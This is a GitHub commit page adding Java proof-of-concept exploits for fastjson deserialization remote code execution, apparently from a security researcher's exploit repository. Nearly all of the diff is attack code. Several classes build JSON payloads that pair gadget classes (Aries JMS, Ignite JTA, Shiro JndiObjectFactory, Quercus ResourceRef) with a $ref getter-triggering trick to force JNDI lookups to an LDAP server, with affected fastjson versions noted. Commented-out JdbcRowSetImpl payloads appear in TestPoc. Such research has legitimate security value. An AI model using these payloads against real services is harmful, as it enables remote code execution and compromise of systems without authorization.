Skip to content

Commit ea61297

Browse files
author
“threedr3am”
committed
feat:fastjson一种利用$ref几乎任意getter触发的方法
1 parent f201def commit ea61297

File tree

7 files changed

+241
-13
lines changed

7 files changed

+241
-13
lines changed

‎fastjson/pom.xml‎

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -128,5 +128,35 @@
128128
<artifactId>quercus</artifactId>
129129
<version>4.0.63</version>
130130
</dependency>
131+
132+
<dependency>
133+
<groupId>org.springframework.boot</groupId>
134+
<artifactId>spring-boot-starter-security</artifactId>
135+
<version>2.2.5.RELEASE</version>
136+
</dependency>
137+
<dependency>
138+
<groupId>org.springframework</groupId>
139+
<artifactId>spring-test</artifactId>
140+
<version>5.1.6.RELEASE</version>
141+
<scope>compile</scope>
142+
</dependency>
143+
<dependency>
144+
<groupId>org.springframework</groupId>
145+
<artifactId>spring-core</artifactId>
146+
<version>5.1.6.RELEASE</version>
147+
<scope>compile</scope>
148+
</dependency>
149+
150+
<dependency>
151+
<groupId>org.apache.aries.transaction</groupId>
152+
<artifactId>org.apache.aries.transaction.jms</artifactId>
153+
<version>2.0.0</version>
154+
</dependency>
155+
156+
<dependency>
157+
<groupId>org.apache.ignite</groupId>
158+
<artifactId>ignite-jta</artifactId>
159+
<version>2.8.0</version>
160+
</dependency>
131161
</dependencies>
132162
</project>

‎fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/AriesJMSPoc.java‎

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
package com.threedr3am.bug.fastjson.rce;
2+
3+
import com.alibaba.fastjson.JSON;
4+
import com.alibaba.fastjson.parser.ParserConfig;
5+
import com.threedr3am.bug.common.server.LdapServer;
6+
import java.io.IOException;
7+
8+
/**
9+
* todo 发现新的Fastjson利用面，通过$ref引用功能，可以任意触发大部分getter方法，理论可以通过此种方式RCE，还能在不开启AutoType的情况下，任意调用大部分当前反序列化对象的getter方法，若存在危险method，就能进行攻击
10+
*
11+
* <dependency>
12+
* <groupId>org.apache.aries.transaction</groupId>
13+
* <artifactId>org.apache.aries.transaction.jms</artifactId>
14+
* <version>2.0.0</version>
15+
* </dependency>
16+
*
17+
* @author threedr3am
18+
*/
19+
public class AriesJMSPoc {
20+
21+
static {
22+
//rmi server示例
23+
// RmiServer.run();
24+
25+
//ldap server示例
26+
LdapServer.run();
27+
}
28+
29+
public static void main(String[] args) throws IOException {
30+
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
31+
32+
String json = "{\"@type\":\"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory\", \"tmJndiName\": \"ldap://localhost:43658/Calc\", \"tmFromJndi\": true, \"transactionManager\": {\"$ref\":\"$.transactionManager\"}}";
33+
JSON.parse(json);
34+
}
35+
36+
37+
}

‎fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/AriesJMSPoc2.java‎

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
package com.threedr3am.bug.fastjson.rce;
2+
3+
import com.alibaba.fastjson.JSON;
4+
import com.alibaba.fastjson.parser.ParserConfig;
5+
import com.threedr3am.bug.common.server.LdapServer;
6+
import java.io.IOException;
7+
8+
/**
9+
* todo 发现新的Fastjson利用面，通过$ref引用功能，可以任意触发大部分getter方法，理论可以通过此种方式RCE，还能在不开启AutoType的情况下，任意调用大部分当前反序列化对象的getter方法，若存在危险method，就能进行攻击
10+
*
11+
* <dependency>
12+
* <groupId>org.apache.aries.transaction</groupId>
13+
* <artifactId>org.apache.aries.transaction.jms</artifactId>
14+
* <version>2.0.0</version>
15+
* </dependency>
16+
*
17+
* @author threedr3am
18+
*/
19+
public class AriesJMSPoc2 {
20+
21+
static {
22+
//rmi server示例
23+
// RmiServer.run();
24+
25+
//ldap server示例
26+
LdapServer.run();
27+
}
28+
29+
public static void main(String[] args) throws IOException {
30+
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
31+
32+
String json = "{\"@type\":\"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory\", \"tmJndiName\": \"ldap://localhost:43658/Calc\", \"tmFromJndi\": true, \"transactionManager\": {\"$ref\":\"$.transactionManager\"}}";
33+
JSON.parse(json);
34+
}
35+
36+
37+
}

‎fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/IgniteJtaPoc.java‎

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
package com.threedr3am.bug.fastjson.rce;
2+
3+
import com.alibaba.fastjson.JSON;
4+
import com.alibaba.fastjson.parser.ParserConfig;
5+
import com.threedr3am.bug.common.server.LdapServer;
6+
import java.io.IOException;
7+
8+
/**
9+
* todo 发现新的Fastjson利用面，通过$ref引用功能，可以任意触发大部分getter方法，理论可以通过此种方式RCE，还能在不开启AutoType的情况下，任意调用大部分当前反序列化对象的getter方法，若存在危险method，就能进行攻击
10+
*
11+
* fastjson <= 1.2.67
12+
*
13+
* <dependency>
14+
* <groupId>org.apache.ignite</groupId>
15+
* <artifactId>ignite-jta</artifactId>
16+
* <version>2.8.0</version>
17+
* </dependency>
18+
*
19+
* @author threedr3am
20+
*/
21+
public class IgniteJtaPoc {
22+
23+
static {
24+
//rmi server示例
25+
// RmiServer.run();
26+
27+
//ldap server示例
28+
LdapServer.run();
29+
}
30+
31+
public static void main(String[] args) throws IOException {
32+
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
33+
34+
String json = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\", \"jndiNames\":[\"ldap://localhost:43658/Calc\"], \"tm\": {\"$ref\":\"$.tm\"}}";
35+
JSON.parse(json);
36+
}
37+
38+
}

‎fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/QuercusPoc.java‎

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3,9 +3,12 @@
33
import com.alibaba.fastjson.JSON;
44
import com.alibaba.fastjson.parser.ParserConfig;
55
import com.threedr3am.bug.common.server.LdapServer;
6+
import org.springframework.security.web.savedrequest.DefaultSavedRequest;
67

78
/**
8-
* fastjson <= 1.2.66 RCE，需要开启AutoType & JSON.parseObject
9+
* todo 发现新的Fastjson利用面，通过$ref引用功能，可以任意触发大部分getter方法，理论可以通过此种方式RCE，还能在不开启AutoType的情况下，任意调用大部分当前反序列化对象的getter方法，若存在危险method，就能进行攻击
10+
*
11+
* fastjson <= 1.2.68 RCE，需要开启AutoType
912
*
1013
*
1114
* quercus ResourceRef jndi gadget
@@ -30,7 +33,7 @@ public class QuercusPoc {
3033
public static void main(String[] args) {
3134
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
3235

33-
String payload = "{\"@type\":\"com.caucho.config.types.ResourceRef\",\"lookupName\": \"ldap://localhost:43658/Calc\"}";//ldap方式
34-
JSON.parseObject(payload);
36+
String payload = "{\"@type\":\"com.caucho.config.types.ResourceRef\",\"lookupName\": \"ldap://localhost:43658/Calc\", \"value\": {\"$ref\":\"$.value\"}}";//ldap方式
37+
JSON.parse(payload);
3538
}
3639
}

‎fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/ShiroPoc2.java‎

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
package com.threedr3am.bug.fastjson.rce;
2+
3+
import com.alibaba.fastjson.JSON;
4+
import com.alibaba.fastjson.parser.ParserConfig;
5+
import com.threedr3am.bug.common.server.LdapServer;
6+
import java.io.IOException;
7+
8+
/**
9+
* todo 发现新的Fastjson利用面，通过$ref引用功能，可以任意触发大部分getter方法，理论可以通过此种方式RCE，还能在不开启AutoType的情况下，任意调用大部分当前反序列化对象的getter方法，若存在危险method，就能进行攻击
10+
*
11+
* fastjson <= 1.2.67
12+
*
13+
* @author threedr3am
14+
*/
15+
public class ShiroPoc2 {
16+
static {
17+
//rmi server示例
18+
// RmiServer.run();
19+
20+
//ldap server示例
21+
LdapServer.run();
22+
}
23+
24+
public static void main(String[] args) throws IOException {
25+
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
26+
27+
String json = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://localhost:43658/Calc\",\"instance\":{\"$ref\":\"$.instance\"}}";
28+
JSON.parse(json);
29+
30+
}
31+
}

‎fastjson/src/main/java/com/threedr3am/bug/fastjson/test/TestPoc.java‎

Lines changed: 62 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -10,18 +10,70 @@
1010
* @author threedr3am
1111
*/
1212
public class TestPoc {
13-
static {
14-
//rmi server示例
13+
14+
static {
15+
//rmi server示例
1516
// RmiServer.run();
1617

17-
//ldap server示例
18-
LdapServer.run();
19-
}
18+
//ldap server示例
19+
// LdapServer.run();
20+
}
21+
22+
public static void main(String[] args) {
23+
// MockHttpServletRequest mockReq = new MockHttpServletRequest();
24+
// DefaultSavedRequest request = new DefaultSavedRequest(mockReq, new PortResolver() {
25+
//
26+
// public int getServerPort(ServletRequest servletRequest) {
27+
// return 0;
28+
// }
29+
// });
30+
//
31+
// String str = JSON.toJSONString(request, SerializerFeature.WriteClassName);
32+
// System.out.println(str);
33+
34+
// String str = "{\"rand1\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"rand2\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:43658\",\"autoCommit\":true}";
35+
// String str = "{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:43658\",\"autoCommit\":true}}";
36+
// String str = "{\"@type\":\"org.springframework.security.web.savedrequest.DefaultSavedRequest\",\"contextPath\": {\"@type\":\"com.caucho.config.types.ResourceRef\",\"lookupName\": \"ldap://localhost:43658/Calc\"}}";
37+
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
38+
String str = "{\"a\": {\"$ref\":\"$.class\"}}";
39+
AAA aaa = JSON.parseObject(str, AAA.class);
40+
// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
41+
// String str = "{\"a\": {\"$ref\": \"$.a\"}, \"b\": {\"$ref\": \"$.b\"}, \"c\": {\"$ref\": \"$.c\"}, \"d\": {\"$ref\": \"$.d\"}}";
42+
// JSON.parseObject(str, AAA.class);
43+
// AAA aaa = new AAA();
44+
System.out.println(aaa.getA());
45+
46+
// JSON.parseObject(str);
47+
}
48+
}
49+
50+
class AAA {
51+
52+
private String a;
53+
54+
public String getA() {
55+
System.out.println("call the getA method!...");
56+
return null;
57+
}
58+
59+
public void setA(String a) {
60+
this.a = a;
61+
}
62+
63+
public AAA getB() {
64+
System.out.println("call the getB method!...");
65+
return null;
66+
}
67+
68+
public Object getC() {
69+
System.out.println("call the getC method!...");
70+
return null;
71+
}
72+
73+
public String getD() {
74+
System.out.println("call the getD method!...");
75+
return null;
76+
}
2077

21-
public static void main(String[] args) {
22-
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
2378

24-
String payload = "{\"@type\":\"\",\"aaaaa\":\"ldap://localhost:43658/Calc\"}";//ldap方式
25-
JSON.parse(payload);
26-
}
2779
}

0 commit comments

Comments
 (0)